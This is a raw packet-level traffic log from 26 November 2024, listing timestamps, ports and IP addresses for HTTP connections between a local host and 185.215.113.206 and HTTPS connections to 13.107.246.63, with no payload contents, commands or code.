Nov 26, 2024 01:41:41.920634985 CET	49876	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.920681953 CET	443	49876	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.920762062 CET	49876	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.921165943 CET	49876	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.921178102 CET	443	49876	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.975944996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.976077080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.976105928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.976144075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.976269960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.976308107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.976330042 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.976370096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.977452993 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.977503061 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.977788925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.977823973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.977833033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.977843046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.977859020 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.977878094 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.978737116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.978782892 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.979358912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.979401112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.981750011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.982019901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.982114077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.982698917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.982716084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.982733011 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.982744932 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.982749939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.982784986 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.983658075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.983701944 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.983776093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.983813047 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.984808922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.984951019 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.984997034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.986498117 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.986545086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.987854958 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.987899065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.989784956 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.989931107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.989981890 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.990890026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.990945101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.991023064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.991075039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.992022038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.992038965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.992103100 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.993105888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.993287086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.993344069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.993897915 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.993913889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.993962049 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.993993998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.994038105 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.994054079 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.994092941 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.995022058 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.995112896 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.995157003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.995194912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.996136904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.996280909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.996330023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.996987104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.997003078 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.997035027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.997087002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.997153044 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.997169018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.997204065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.997899055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.997915030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.997941971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.997973919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.999047995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.999072075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.999123096 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.000004053 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.000159025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.000200033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.001187086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.001203060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.001260042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.002173901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.002214909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.002351999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.002388000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.003524065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.003580093 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.003659964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.003710985 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.005402088 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.006010056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.006066084 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.008238077 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.008297920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.008373976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.009325027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.009377956 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.009448051 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.009490013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.010497093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.010545969 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.010693073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.010740042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.011749983 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.011765003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.011795998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.011816025 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.012774944 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.012938976 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.012988091 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.013833046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.013878107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.013957977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.014003038 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.015002012 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.015017033 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.015058041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.015075922 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.016077995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.016119957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.016197920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.016232014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.017302036 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.017318964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.017376900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.018188000 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.018203020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.018237114 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.018271923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.019167900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.019184113 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.019232988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.020334005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.020349979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.020387888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.020423889 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.021399975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.021425962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.021475077 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.022496939 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.022511959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.022545099 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.022578001 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.023348093 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.023372889 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.023387909 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.023403883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.023416042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.023459911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.023505926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.023545980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.023569107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.023596048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.024138927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.024192095 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.024281979 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.024400949 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.025338888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.025361061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.025407076 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.026403904 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.026420116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.026444912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.026467085 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.027194977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.027370930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.027416945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.028316975 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.028377056 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.028500080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.028541088 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.029328108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.029350996 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.029380083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.029407024 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.029803991 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.029819965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.029870033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.030910969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.030926943 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.030977964 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.034265995 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.034281969 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.034312963 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.034328938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.043575048 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.043602943 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.043653011 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.043674946 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.043690920 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.043711901 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.062695026 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.062730074 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.062762022 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.062779903 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.062805891 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.062819958 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.076849937 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.076874971 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.076919079 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.076944113 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.076971054 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.076987028 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.080378056 CET	443	49817	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.080440998 CET	443	49817	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.080671072 CET	49817	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.082153082 CET	49817	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.082173109 CET	443	49817	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.082194090 CET	49817	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.082199097 CET	443	49817	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.085736036 CET	49877	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.085778952 CET	443	49877	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.085902929 CET	49877	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.086080074 CET	49877	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.086090088 CET	443	49877	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.093314886 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.093338966 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.093379974 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.093394995 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.093419075 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.093434095 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.106647968 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.106683016 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.106709957 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.106719017 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.106750011 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.106760979 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.121506929 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.121557951 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.121586084 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.121594906 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.121623993 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.121644020 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.176841974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.176873922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.176930904 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.176981926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.177341938 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.177411079 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.177499056 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.177508116 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.177515984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.177541971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.177571058 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.177846909 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.177862883 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.177875996 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.177881956 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.178735018 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.178750992 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.178803921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.179949999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.179965973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.180006027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.180047989 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.180604935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.180670023 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.181148052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.181287050 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.182111025 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.182126999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.182183981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.182245016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.182801008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.182883978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.182948112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.182986975 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.183063030 CET	49878	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.183103085 CET	443	49878	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.183170080 CET	49878	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.183440924 CET	49878	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:42.183455944 CET	443	49878	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:42.184324980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.184340954 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.184377909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.184993982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.185034990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.185328960 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.185369968 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.186050892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.186091900 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.186202049 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.186239958 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.187134027 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.187180042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.187211990 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.187243938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.188236952 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.188282013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.188389063 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.188431978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.189361095 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.189519882 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.189539909 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.189563036 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.190428972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.190471888 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.190501928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.190536976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.191514015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.191559076 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.191618919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.191689014 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.192558050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.192666054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.192678928 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.192712069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.193733931 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.193761110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.193783998 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.193814993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.194853067 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.194869041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.194906950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.194921970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.195975065 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.196007013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.196049929 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.197004080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.197055101 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.197175980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.197225094 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.198235989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.198257923 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.198296070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.198319912 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:42.199307919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.199333906 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:42.199361086 CET	49813	80	192.168.2.6	185.215.113.206
